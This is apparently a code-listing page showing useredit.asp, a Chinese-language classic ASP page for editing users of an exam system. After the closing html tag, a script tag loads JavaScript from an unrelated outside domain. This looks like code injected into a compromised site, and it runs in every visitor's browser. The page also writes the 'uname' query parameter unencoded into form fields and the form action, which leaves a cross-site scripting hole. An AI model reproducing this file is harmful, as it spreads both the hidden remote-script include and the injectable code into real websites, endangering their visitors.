📄 useredit.asp
字号:
<!--#include File="isAdmin.asp"-->
<html>
<head>
<title>编辑用户信息</title>
<link rel="stylesheet" href="style.css">
<Script Language="JavaScript">
//域校验
function CheckFlds(){
if (document.form1.uname.value==""){
alert("请输入用户名！");
form1.uname.focus;
return false;
}
return true;
}
</Script>
</head>
<%
Dim Action,uName
'读取参数action\uid
Action = Request.QueryString("action")
uName = Request.QueryString("uname")
Set usr = New EUsers
'编辑用户记录
If Action = "edit" Then
'读取记录数据
usr.GetUserInfo(uName)
If Not usr.rs.EOF Then
uclass = usr.rs("UserClass")
uType = usr.rs("UserType")
rname = usr.rs("RealName")
End If
End If
%>
<body leftmargin="1" topmargin="0">
<form name="form1" method="POST" action="UserSave.asp?action=<%=Action%>&uname=<%=uName%>" onsubmit="return CheckFlds()">
<br>
<table align="center" border="1" cellspacing="0" width="95%" bordercolor="#64B9E1" bordercolorlight="#64B9E1" bordercolordark="#FFFFFF">
<tr>
<td align=center colspan=2><font size=3>编辑用户信息</font></td>
</tr>
<tr>
<td bgcolor="#eeeeee">班级编号</td>
<td><input type="text" name="cid" value="<%=uclass%>"></td>
</tr>
<tr>
<td bgcolor="#eeeeee">用户名</td>
<td><input type="text" name="uid" value="<%=uName%>"></td>
</tr>
<tr>
<td bgcolor="#eeeeee">真实姓名</td>
<td><input type="text" name="rname" value="<%=rname%>"></td>
</tr>
<tr>
<td bgcolor="#eeeeee" >用户类型</td>
<td><select size="1" name="type">
<%If uType=0 Then%>
<option selected value="0">考生</option>
<option value="1">系统管理员</option>
<%Else%>
<option value="0">考生</option>
<option value="1" selected>管理员</option>
<%End If%>
</select></td>
</tr>
</table>
<p align=center><input type="submit" value=" 提 交 " name="B1">
<input type="reset" value=" 重 写 " name="B2"></p>
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -